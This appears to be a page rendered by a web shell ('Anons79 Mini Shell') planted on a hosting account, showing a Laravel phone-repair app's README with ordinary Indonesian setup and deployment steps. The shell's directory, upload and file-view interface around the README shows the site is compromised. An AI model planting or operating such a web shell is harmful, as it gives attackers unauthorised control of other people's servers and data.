Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/betacell.fixmate.id/
Upload File :
Current File : /home/aplikasiposinfo/public_html/betacell.fixmate.id/README.md

# Aplikasi service HP


## Resources
- design : https://github.com/gurayyarar/AdminBSBMaterialDesign
## Development
- clone repository
- buat file .env dan isi semua konfigurasi database
- composer install
- buat file .env dan isi semua konfigurasi database
- `php artisan key:generate`
- `php artisan migrate`
- gunakan `php artisan serve --host=0.0.0.0` agar ip lokal bisa diakses dari emulator android


## Filter Data
- perhitungan omset di dashboard bedasarkan tanggal selesai
- perhitungan dp berdasarkan tanggal invoice

## Deployment
- clone repository ke server
- buat file .env dan isi semua konfigurasi database
- isi `INTEGRASI_WHATSAPP` dengan true jika ingin punya fitur integrasi whatsapp
- email dan password default untuk login bisa diatur di `DEFAULT_USER_EMAIL` dan `DEFAULT_USER_PASSWORD`
- `composer install`
- `php artisan key:generate`
- `php artisan migrate --seed`


## NIAGAHOSTER
- buat subdomain di niagahoster
- buat database di niagahoster
- buat file .env dan isi semua konfigurasi database
- clone repository melalui ssh atau copy aplikasi demo
- `composer install`
- `php artisan key:generate`
- `php artisan migrate --seed`  (/opt/alt/php83/usr/bin/php artisan migrate --seed)

## CPANEL
- buat subdomain di cpanel
- buat database di cpanel
- clone repository melalui terminal
- `composer install`
- `php artisan key:generate`
- `php artisan migrate --seed` 

## TERMINAL CPANEL
- buat folder di `/home/nama_user_cpanel/public_html/nama_subdomain`
- buat virtual host di `etc/apache2/conf.d/nama_subdomain.conf`
- generate ssl dengan perintah `sudo certbot certonly --webroot -w /home/nama_user_cpanel/public_html/nama_subdomain/public -d nama_subdomain`
- tambahkan konfigurasi ssl di file virtual host
```apache
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/nama_subdomain/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/nama_subdomain/privkey.pem
```   
- restart apache dengan perintah `sudo systemctl httpd restart`
- buka direktori `/home/nama_user_cpanel/public_html/nama_subdomain`
- clone repository
- `composer install`
- `php artisan key:generate`
- `php artisan migrate --seed` 

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]